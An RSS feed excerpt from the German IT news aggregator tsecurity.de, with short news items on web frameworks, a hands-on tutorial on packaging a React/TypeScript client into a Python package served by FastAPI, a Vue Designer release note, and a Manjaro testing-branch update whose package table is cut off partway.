<pubDate>Fri, 29 Mar 2024 20:48:06 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Das Framework Next.js 14.2 bringt den Release Candidate für Turbopack mit. Der schnellere webpack-Ersatz besteht nun nahezu alle Integrationstests.]]></content:encoded>
</item>
<item>
<title><![CDATA[Packaging Your TypeScript Client into a Python Backend]]></title>
<description><![CDATA[Photo by Markus Spiske on UnsplashA FULL HANDS-ON GUIDECombine your React Application with the FastAPI web-serverIn this guide, you will learn how to package a simple TypeScript React Application into a Python package and serve it from your FastAPI Python web server. Check out the client and the ...]]></description>
<link>https://tsecurity.de/de/2080398/ai-nachrichten/packaging-your-typescript-client-into-a-python-backend/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2080398/ai-nachrichten/packaging-your-typescript-client-into-a-python-backend/</guid>
<pubDate>Thu, 21 Mar 2024 21:35:32 +0100</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*YASPhhfIdC0paqxZ"><figcaption>Photo by <a href="https://unsplash.com/@markusspiske?utm_source=medium&amp;utm_medium=referral">Markus Spiske</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h4>A FULL HANDS-ON GUIDE</h4><h4>Combine your React Application with the FastAPI web-server</h4><p>In this guide, you will learn how to package a simple TypeScript <a href="https://react.dev/">React Application</a> into a <strong>Python package</strong> and serve it from your <a href="https://fastapi.tiangolo.com/">FastAPI</a> Python web server. Check out the <a href="https://github.com/itayB/vite-project">client</a> and the <a href="https://github.com/itayB/backend">server</a> repos, if you want to see the full code. Let’s get started!</p><p>During the development process, you probably use two different IDEs:</p><ol><li>TypeScript or JavaScript React App window, running on a dedicated listening port (e.g., 5173) to serve the client/frontend pages.</li><li>Python FastAPI, running on a different port (e.g., 8080) to serve a REST API.</li></ol><p>In other words, you have two different servers running locally. Whenever you want to call your FastAPI server, the browser interacts with two different servers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NiIJb0auuune5vsnpEwlsQ.png"><figcaption>Local development (Image by Author)</figcaption></figure><p>While it works fine locally (in localhost), you’ll encounter a “Cross-Origin Request Blocked” error in your browser when you deploy that code. Before taking your code to production, the best practice is to serve both client pages and REST API from the same backend web server. That way the browser will interact with a single backend. It’s better for security, performance, and simplicity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ht6hQcgrUhOIXE1h4FBQrQ.png"><figcaption>Preparing for Production (Image by Author)</figcaption></figure><h4>1. Create a Simple React Application</h4><p>First, in your workspace directory, let’s create a new TypeScript React application using <a href="https://vitejs.dev/">vite</a>:</p><pre>~/workspace ➜ npm create vite@latest<br>✔ Project name: … vite-project<br>✔ Select a framework: › React<br>✔ Select a variant: › TypeScript</pre><p>Then, enter into the new project directory, install the dependencies, and run the application (<a href="http://localhost:5174/">http://localhost:5173</a>):</p><pre>~/workspace ➜ cd vite-project<br>~/workspace/vite-project ➜ npm install<br>~/workspace/vite-project ➜ npm run dev</pre><p>You should see something like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FvDjJCwUuyhz-BUJeweo_Q.png"><figcaption>First Vite React Template (Image by Author)</figcaption></figure><p>Now, let’s make a small addition to the template — we’ll add an async HTTP call to the future FastAPI backend to get its status:</p><pre>function App() {<br>  ...<br>  const [health, setHealth] = useState('');<br><br>  useEffect(() =&gt; {<br>    const getStatus = async () =&gt; {<br>      const response = await fetch('/v1/health-check/liveness', {<br>        method: 'GET',<br>      });<br>      let status: { [status: string]: string } = {};<br>      try {<br>        status = await response.json();<br>      } catch (err) {<br>        console.log(`failed to get backend status. ${err}`);<br>      }<br>      setHealth(status['status'] || 'unknown');<br>    };<br>    getStatus();<br>  }, []);<br><br>  return (<br>  ...<br>     &lt;div&gt;Backend Status: {health}&lt;/div&gt;<br>  ...<br>  )<br>}</pre><p>And now we should get something like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QTTHhBYLHq7gtMAQq8UyLg.png"><figcaption>With a Backend call (Image by Author)</figcaption></figure><p>At this point, the <strong>Backend Status</strong> is unknown because we haven’t implemented it yet. No worries, we will handle that shortly. Lastly, let’s build the client for packaging it later on:</p><pre>~/workspace/vite-project ➜ npm run build</pre><p>The build output should create a dist folder with the final optimized code that looks like this:</p><pre>└── dist/<br>    ├── assets/<br>    ├── static/<br>    └── index.html</pre><h4>2. Building a Python Package</h4><p>At this point, we are switching to Python. I prefer to work in a <a href="https://docs.python.org/3/library/venv.html">virtual environment</a> for isolation. In a dedicated virtual environment, we will install twine and build , for creating our Python package:</p><pre>~/workspace/vite-project ➜ python3 -m venv venv<br>~/workspace/vite-project ➜ . venv/bin/activate<br>~/workspace/vite-project (venv) ➜ python -m pip install --upgrade pip<br>~/workspace/vite-project (venv) ➜ pip install twine==5.0.0 build==1.2.1</pre><p>Let’s create a new setup.py file in the root folder (vite-project), with the following content:</p><pre>from setuptools import setup<br>from pathlib import Path<br><br><br>cwd = Path(__file__).parent<br>long_description = (cwd / "README.md").read_text()<br><br>setup(<br>    name="vite-project",<br>    version="0.0.1",<br>    package_dir={"vite_project": "dist"},<br>    package_data={"vite_project": ["**/*.*"]},<br>    long_description=long_description,<br>    long_description_content_type="text/markdown",<br>)</pre><p>and run the following to create the package:</p><pre>~/workspace/vite-project (venv) ➜ python setup.py sdist -d tmp<br>~/workspace/vite-project (venv) ➜ python -m build --wheel --outdir tmp<br>~/workspace/vite-project (venv) ➜ twine upload -u ${USERNAME} -p ${PASSWORD} --repository-url ${REPO_URL} tmp/*</pre><p>The last line above is optional if you intend to upload your package to a remote repository such as <a href="https://pypi.org/">PyPI</a>, <a href="https://jfrog.com/artifactory/">JFrog Artifactory</a>, etc.</p><h4>3. Create a FastAPI Python web-server</h4><p>The final step is to build the Python server and use the client package. For that, we will:</p><ul><li>Create a new backenddirectory.</li><li>Create a new virtual environment.</li><li>Install the relevant packages and our client package:</li></ul><pre>~/workspace/backend ➜ python3 -m venv venv<br>~/workspace/backend ➜ . venv/bin/activate<br>~/workspace/backend (venv) ➜ python -m pip install --upgrade pip<br>~/workspace/backend (venv) ➜ pip install fastapi==0.110.0 uvicorn==0.29.0<br>~/workspace/backend (venv) ➜ pip install ~/workspace/vite-project/tmp/vite-project-0.0.1.tar.gz</pre><p>Note that we installed our client package from a local path that we created earlier. If you uploaded your package to a remote repository, you can install it with:</p><pre>~/workspace/backend (venv) ➜ pip install --extra-index-url https://${USERNAME}:${PASSWORD}@${REPO_URL} vite-project==0.0.1</pre><p>Next, let’s create a simple Python server (2 files):</p><h4><strong>__main__.py</strong></h4><pre>from distutils.sysconfig import get_python_lib<br>from fastapi import FastAPI<br>from fastapi.responses import FileResponse<br>from fastapi.staticfiles import StaticFiles<br>from backend.health_router import router<br>from uvicorn import run<br><br><br>def create_app():<br>    app = FastAPI(<br>        title="Backend Server",<br>    )<br>    app.include_router(router)<br><br>    client_path = f"{get_python_lib()}/vite_project"<br>    app.mount("/assets", StaticFiles(directory=f"{client_path}/assets"), name="assets")<br>    app.mount("/static", StaticFiles(directory=f"{client_path}/static"), name="static")<br><br>    @app.get("/{catchall:path}")<br>    async def serve_react_app(catchall: str):<br>        return FileResponse(f"{client_path}/index.html")<br><br>    return app<br><br><br>def main():<br>    app = create_app()<br>    run(app, host="0.0.0.0", port=8080)<br><br><br>if __name__ == "__main__":<br>    main()</pre><h4>health_router.py</h4><pre>from typing import Literal<br>from typing_extensions import TypedDict<br>from fastapi import APIRouter, status<br><br>STATUS = Literal["success", "error", "partial", "unknown"]<br><br><br>class ReturnHealthcheckStruct(TypedDict):<br>    status: STATUS<br><br><br>router = APIRouter(<br>    prefix="/v1/health-check",<br>    tags=["Health Check"],<br>)<br><br><br>@router.get(<br>    "/liveness",<br>    summary="Perform a Liveness Health Check",<br>    response_description="Return HTTP Status Code 200 (OK)",<br>    status_code=status.HTTP_200_OK,<br>    response_model=ReturnHealthcheckStruct,<br>)<br>async def liveness() -&gt; ReturnHealthcheckStruct:<br>    return {"status": "success"}</pre><p>In the implementation above, we added support for serving any static file from our client application by mounting the static and assets folders, as well as any other client file to be served by our Python server.</p><p>We also created a simple GET endpoint, v1/health-check/liveness that returns a simple {“status": “success"} JSON response. That way we can ensure that our server handles both client static files and our server-side RESTful API.</p><p>Now, if we go to <a href="http://localhost:8080/">localhost:8080</a> we can see our client up and running. Pay attention to the <strong>Backend Status</strong> below, it’s now success (rather than unknown).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gzhrIyKXAzf5Brybi5y2iw.png"><figcaption>Running a Python server together with React Application (Image by Author)</figcaption></figure><h3>Summary</h3><p>In this tutorial, we created a simple React Application that does a single call to the backend. We wrapped this client application as a Python package and served it from our FastAPI Python web server.</p><p>Using this approach allows you to leverage the best tools in both worlds: TypeScript and React for the frontend, and Python with FastAPI for the backend. Yet, we want to keep high cohesion and low coupling between those two components. That way, you will get all the benefits:</p><ul><li>Velocity, by separating front-end and backend to different repositories, each part can be developed by a different team.</li><li>Stability and Quality, by locking a versioned client package and bumping it only when the server is ready to support a new client version.</li><li>Safety — The browser interacts with only one backend server. We don’t need to enable CORS or any other security-compromising workarounds.</li><li>Simplicity — By working via a single server</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=b087e50c5c1a" width="1" height="1" alt=""><hr><p><a href="https://towardsdatascience.com/packaging-your-typescript-client-into-a-python-backend-b087e50c5c1a">Packaging Your TypeScript Client into a Python Backend</a> was originally published in <a href="https://towardsdatascience.com/">Towards Data Science</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Vue Designer 1.4 - Desktop editor to visually design Vue applications.]]></title>
<description><![CDATA[Vue Designer is a visual IDE for Vue applications.

Vue Designer works with every Vite-based Vue project and supports any Vue meta-framework like Nuxt, Iles, and more in a single app.

Full list of the features available here.
  A new  Quasar addon (@pinegrow/quasar-module) is now available ...]]></description>
<link>https://tsecurity.de/de/2037908/ios-mac-os/vue-designer-14-desktop-editor-to-visually-design-vue-applications/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2037908/ios-mac-os/vue-designer-14-desktop-editor-to-visually-design-vue-applications/</guid>
<pubDate>Mon, 19 Feb 2024 18:16:54 +0100</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><strong>Vue Designer</strong> is a visual IDE for Vue applications.</p>

<p>Vue Designer works with every Vite-based Vue project and supports any Vue meta-framework like Nuxt, Iles, and more in a single app.</p>

<p>Full list of the features available <a href="https://vuedesigner.com/#features" target="_blank">here</a>.</p><br><br><ul>
  <li>A new  <strong>Quasar</strong> addon (@pinegrow/quasar-module) is now available for an enhanced experience. It’s power-packed with: <ul>
      <li>Start Screen – New starter templates and Quasar Weather App (web, desktop – Mac/Windows, hybrid – iOS/Android).</li>
      <li>Config Panel – Tailored instructions for Quasar Projects.</li>
      <li>Enhanced web-types for the Library and Props Panel.</li>
      <li>Theming with Design Panel.</li>
      <li>Includes powerful Visual Controls and Floating Tool. </li>
    </ul>
  </li>
</ul>
<ul>
  <li>Meet  <strong>Ms.Pine Cone</strong>, an improved AI Assistant theat features: <ul>
      <li>Ability to learn tasks that are easy to use, refine, and share.</li>
      <li>Uses a vision model to find project images best suited for any given content.</li>
      <li>Image to HTML – Generate whole pages, insert new sections, or redesign existing content.</li>
      <li>Quickly toggle between GPT-3.5 and GPT-4.</li>
      <li>Bring your own API key.</li>
      <li>In-depth tutorials to how to best use these features coming soon…</li>
    </ul>
  </li>
</ul>
<ul>
  <li>Enable easy state binding in the Directives section, similar to how it works in the Props Panel.</li>
  <li>A key parser update to support components with HTML tagnames (Head, Link etc).</li>
  <li>Pinegrow Vite Plugin updated, along with other meta-framework modules.</li>
  <li>Bug fixes and performance updates.</li>
</ul>
<ul>
  <li><strong>Action Required</strong>: To activate the new Quasar addon, open menu – Help &amp; Settings &gt; Purchase &amp; Activate, and then click on the <strong>Activate</strong> button.</li>
</ul><br><br>Version for <a href="https://github.com/Pinegrow/PinegrowReleases/releases/download/vd1.4/VueDesignerARM64.1.4.dmg" target="_blank">Apple Silicon</a><br><br><a href="https://www.macupdate.com/app/mac/64383/vue-designer">Download Now</a><img src="https://desktop.macupdate.com/api/620/discover/ttra" height="1" width="1">]]></content:encoded>
</item>
<item>
<title><![CDATA[Webentwicklung: Build-Tool Vite.js 5.1 experimentiert mit Vite Runtime API]]></title>
<description><![CDATA[Eine neue experimentelle API bei Vite.js 5.1 soll die SSR Primitives in Zukunft ablösen. Die Performance des Build-Tools macht nochmals einen kleinen Sprung.]]></description>
<link>https://tsecurity.de/de/2025513/it-nachrichten/webentwicklung-build-tool-vitejs-51-experimentiert-mit-vite-runtime-api/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2025513/it-nachrichten/webentwicklung-build-tool-vitejs-51-experimentiert-mit-vite-runtime-api/</guid>
<pubDate>Fri, 09 Feb 2024 14:33:27 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Eine neue experimentelle API bei Vite.js 5.1 soll die SSR Primitives in Zukunft ablösen. Die Performance des Build-Tools macht nochmals einen kleinen Sprung.]]></content:encoded>
</item>
<item>
<title><![CDATA[Fullstack-Framework: AdonisJS 6 setzt auf ECMAScript und Vite.js]]></title>
<description><![CDATA[Das Framework für Fullstack-Webanwendungen und JSON-API-Server kann nun mit ECMAScript-Modulen umgehen und bietet eine offizielle Vite.js-Integration.]]></description>
<link>https://tsecurity.de/de/2009438/it-nachrichten/fullstack-framework-adonisjs-6-setzt-auf-ecmascript-und-vitejs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2009438/it-nachrichten/fullstack-framework-adonisjs-6-setzt-auf-ecmascript-und-vitejs/</guid>
<pubDate>Mon, 29 Jan 2024 12:18:06 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Das Framework für Fullstack-Webanwendungen und JSON-API-Server kann nun mit ECMAScript-Modulen umgehen und bietet eine offizielle Vite.js-Integration.]]></content:encoded>
</item>
<item>
<title><![CDATA[JavaScript-Framework Next.js 14.1 besteht 600 weitere Tests mit Turbopack]]></title>
<description><![CDATA[Die Stabilisierung des Bundlers Turbopack geht weiter. Daneben verbessert das Release die Developer Experience, etwa durch deutlichere Fehlermeldungen.]]></description>
<link>https://tsecurity.de/de/1997798/it-nachrichten/javascript-framework-nextjs-141-besteht-600-weitere-tests-mit-turbopack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1997798/it-nachrichten/javascript-framework-nextjs-141-besteht-600-weitere-tests-mit-turbopack/</guid>
<pubDate>Fri, 19 Jan 2024 14:47:58 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Die Stabilisierung des Bundlers Turbopack geht weiter. Daneben verbessert das Release die Developer Experience, etwa durch deutlichere Fehlermeldungen.]]></content:encoded>
</item>
<item>
<title><![CDATA[[Testing Update] 2023-12-31 - Plasma-Mobile, Calamares, Deepin]]></title>
<description><![CDATA[Hello community,
Another testing branch update with some usual package updates for you.
Recent News:

Manjaro, like many other open-source projects, relies on the generosity of its community through donations and corporate sponsorships to support its growth and development. These donations are es...]]></description>
<link>https://tsecurity.de/de/1973473/unix-server/testing-update-2023-12-31-plasma-mobile-calamares-deepin/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1973473/unix-server/testing-update-2023-12-31-plasma-mobile-calamares-deepin/</guid>
<pubDate>Sun, 31 Dec 2023 17:24:50 +0100</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hello community,</p>
<p>Another <strong>testing</strong> branch update with some usual package updates for you.</p>
<p><strong>Recent News:</strong></p>
<ul>
<li>Manjaro, like many other open-source projects, relies on the generosity of its community through <a href="https://manjaro.org/donate/">donations</a> and corporate sponsorships to support its growth and development. These <a href="https://manjaro.org/donate/">donations</a> are essential in covering the various expenses incurred in the operations of the project such as server costs, software development tools, infrastructure expenses, training, flying people to events or <a href="https://blog.manjaro.org/fosdem-2023/">conferences</a> and the salaries of key developers. With the help of these donations, Manjaro is able to secure the necessary financial stability that allows the project to continuously improve and remain active. If you love Manjaro, consider to <a href="https://manjaro.org/donate/">donate</a>!</li>
</ul>

Previous News
Finding information easier about Manjaro <a href="https://forum.manjaro.org/t/testing-update-2023-12-31-plasma-mobile-calamares-deepin/154321/1">(click for more details)</a>
<p><strong>Notable Package Updates:</strong></p>
<ul>
<li>Some <strong>Plasma-Mobile</strong> packages got updated to 5.27.10</li>
<li><strong>Calamares</strong> git-version got updated to <a href="https://forum.manjaro.org/">3.3</a></li>
<li>Some <strong>Deepin</strong> updates</li>
<li>Usual <strong>KDE-git</strong>, <strong>Haskell</strong> and <strong>Python</strong> updates</li>
</ul>
<h2><a name="additional-info-1" class="anchor" href="https://forum.manjaro.org/#additional-info-1"></a>Additional Info</h2>

Info about AUR packages <a href="https://forum.manjaro.org/t/testing-update-2023-12-31-plasma-mobile-calamares-deepin/154321/1">(click for more details)</a>
<p>Get our latest daily developer images now from Github: <a href="https://github.com/manjaro-plasma/download/releases">Plasma</a>, <a href="https://github.com/manjaro-gnome/download/releases">GNOME</a>, <a href="https://github.com/manjaro-xfce/download/releases">XFCE</a>. You can get the latest <a href="https://manjaro.org/download">stable releases</a> of Manjaro from <a href="https://cdn77.com/">CDN77</a>.</p>
<hr>
<p><strong>Our current supported kernels</strong></p>
<ul>
<li>linux419 4.19.303</li>
<li>linux54 5.4.265</li>
<li>linux510 5.10.205</li>
<li>linux515 5.15.145</li>
<li>linux61 6.1.69</li>
<li>linux65 6.5.13 [EOL]</li>
<li>linux66 6.6.8</li>
<li>linux67 6.7-rc7</li>
<li>linux61-rt 6.1.66_rt19</li>
<li>linux65-rt 6.5.2_rt8</li>
<li>linux66-rt 6.6.7_rt18</li>
</ul>
<p><strong>Package Changes</strong> (Sun Dec 31 04:48:40 CET 2023)</p>
<ul>
<li>testing extra x86_64:  191 new and 274 removed package(s)</li>
<li>testing multilib x86_64:  1 new and 1 removed package(s)</li>
</ul>
<p><strong>Overlay Changes</strong></p>
<ul>
<li>testing extra x86_64:  5 new and 5 removed package(s)</li>
<li>testing kde-unstable x86_64:  76 new and 75 removed package(s)</li>
</ul>
<pre><code class="lang-auto">:: Different overlay package(s) in repository extra x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2023-12-29           2023-12-31
-------------------------------------------------------------------------------
                       calamares-git3.3.0alpha6.r11692.e582bee3f9-13.3.0.r11730.d562c6134-1
                       plasma-mobile             5.27.9-1            5.27.10-1
                    plasma-mobile-nm             5.27.9-1            5.27.10-1
plasma5-applets-optimus-gpu-switcher              1.4.1-1              1.4.2-1
                        protontricks             1.10.5-2             1.11.0-1


:: Different sync package(s) in repository extra x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2023-12-29           2023-12-31
-------------------------------------------------------------------------------
                           alacritty             0.13.0-2             0.13.0-3
                             apprise              1.6.0-3              1.7.1-1
                               broot             1.30.2-1             1.31.0-1
                        cargo-expand             1.0.77-1             1.0.78-1
                         cargo-udeps             0.1.43-2             0.1.45-1
                           dart-sass             1.69.5-1             1.69.6-1
                                ddgr                2.1-5                2.2-1
                     deepin-calendar             5.11.1-1             5.12.0-1
                                dolt             1.30.1-1             1.30.4-1
                           doomretro              5.1.1-1              5.1.3-1
                              elinks           0.16.1.1-2             0.17.0-1
                              elixir             1.15.7-1             1.16.0-1
                             esbuild             0.19.9-1            0.19.11-1
                                exim               4.97-1             4.97.1-1
           firefox-developer-edition            122.0b3-1            122.0b4-1
  firefox-developer-edition-i18n-ach            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-af            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-an            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-ar            122.0b3-1            122.0b4-1
  firefox-developer-edition-i18n-ast            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-az            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-be            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-bg            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-bn            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-br            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-bs            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-ca            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-ca-valencia      122.0b3-1            122.0b4-1
  firefox-developer-edition-i18n-cak            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-cs            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-cy            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-da            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-de            122.0b3-1            122.0b4-1
  firefox-developer-edition-i18n-dsb            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-el            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-en-ca            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-en-gb            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-en-us            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-eo            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-es-ar            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-es-cl            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-es-es            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-es-mx            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-et            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-eu            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-fa            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-ff            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-fi            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-fr            122.0b3-1            122.0b4-1
  firefox-developer-edition-i18n-fur            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-fy-nl            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-ga-ie            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-gd            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-gl            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-gn            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-gu-in            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-he            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-hi-in            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-hr            122.0b3-1            122.0b4-1
  firefox-developer-edition-i18n-hsb            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-hu            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-hy-am            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-ia            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-id            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-is            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-it            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-ja            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-ka            122.0b3-1            122.0b4-1
  firefox-developer-edition-i18n-kab            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-kk            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-km            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-kn            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-ko            122.0b3-1            122.0b4-1
  firefox-developer-edition-i18n-lij            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-lt            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-lv            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-mk            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-mr            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-ms            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-my            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-nb-no            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-ne-np            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-nl            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-nn-no            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-oc            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-pa-in            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-pl            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-pt-br            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-pt-pt            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-rm            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-ro            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-ru            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-sc            122.0b3-1            122.0b4-1
  firefox-developer-edition-i18n-sco            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-si            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-sk            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-sl            122.0b3-1            122.0b4-1
  firefox-developer-edition-i18n-son            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-sq            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-sr            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-sv-se            122.0b3-1            122.0b4-1
  firefox-developer-edition-i18n-szl            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-ta            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-te            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-tg            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-th            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-tl            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-tr            122.0b3-1            122.0b4-1
  firefox-developer-edition-i18n-trs            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-uk            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-ur            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-uz            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-vi            122.0b3-1            122.0b4-1
   firefox-developer-edition-i18n-xh            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-zh-cn            122.0b3-1            122.0b4-1
firefox-developer-edition-i18n-zh-tw            122.0b3-1            122.0b4-1
                              gitlab             16.7.0-1             16.7.0-2
                       gitlab-gitaly             16.7.0-1             16.7.0-2
                            gitoxide             0.32.0-1             0.33.0-1
                               glirc         2.39.0.1-170         2.39.0.1-171
                  haskell-curve25519             0.2.7-40              0.2.8-1
                      haskell-hakyll          4.16.0.0-97          4.16.0.0-98
            haskell-hls-hlint-plugin          1.1.1.0-112            1.1.2.0-1
           haskell-hls-ormolu-plugin          1.0.3.0-116            1.0.4.0-1
             haskell-language-server           1.9.1.0-30           1.9.1.0-32
                      haskell-pandoc             3.1.6-14             3.1.6-15
           haskell-pandoc-lua-engine             0.2.1-13             0.2.1-14
               haskell-pandoc-server           0.1.0.1-13           0.1.0.1-14
                 haskell-toml-parser            1.3.1.0-1            1.3.1.1-1
                       haskell-typst            0.3.2.1-1            0.3.2.1-3
                               icewm              3.4.4-1              3.4.5-1
                                just             1.19.0-1             1.21.0-1
                              kanshi              1.4.0-1              1.5.0-1
              kconfig-hardened-check              0.6.1-3                    -
                               kicad              7.0.9-2             7.0.10-1
                    kicad-library-3d              7.0.9-1             7.0.10-1
                       kicad-library              7.0.9-1             7.0.10-1
                           leptonica             1.83.1-1             1.84.0-1
                            libgpiod              1.6.4-2                2.0-1
                       libtraceevent            1:1.7.3-1            1:1.8.1-1
                  libtraceevent-docs            1:1.7.3-1            1:1.8.1-1
                      lua-filesystem              1.8.0-3              1.8.0-4
                            lua-term                0.7-8                0.8-1
                    lua51-filesystem              1.8.0-3              1.8.0-4
                          lua51-term                0.7-8                0.8-1
                    lua52-filesystem              1.8.0-3              1.8.0-4
                          lua52-term                0.7-8                0.8-1
                    lua53-filesystem              1.8.0-3              1.8.0-4
                          lua53-term                0.7-8                0.8-1
                          metasploit             6.3.43-1             6.3.49-1
                              miller              6.9.0-1             6.10.0-1
                                ncnn           20230816-3           20231027-1
                              nodejs             21.4.0-2             21.5.0-1
                             openmpi              4.1.5-5              4.1.6-1
                          pandoc-cli           0.1.1.1-27           0.1.1.1-28
                     pandoc-crossref          0.3.16.0-80          0.3.16.0-81
                         pandoc-plot             1.8.0-19             1.8.0-20
                          postgresql               16.1-3               16.1-4
                     postgresql-docs               16.1-3               16.1-4
                     postgresql-libs               16.1-3               16.1-4
              postgresql-old-upgrade               15.5-3               15.5-4
                             pyright            1.1.343-1            1.1.344-1
                      python-boltons             23.1.1-1                    -
                       python-btrees             4.11.3-2             4.11.3-3
                   python-cachetools              5.3.2-1              5.3.2-2
                         python-copr              1.125-1              1.126-1
                   python-cssselect2              0.7.0-2              0.7.0-3
                    python-deepmerge              1.1.0-2              1.1.1-1
                   python-diff-cover              8.0.1-1              8.0.2-1
               python-exceptiongroup              1.1.3-2              1.2.0-1
                    python-fakeredis             2.20.1-1             2.20.1-2
               python-fastjsonschema             2.19.0-1             2.19.1-1
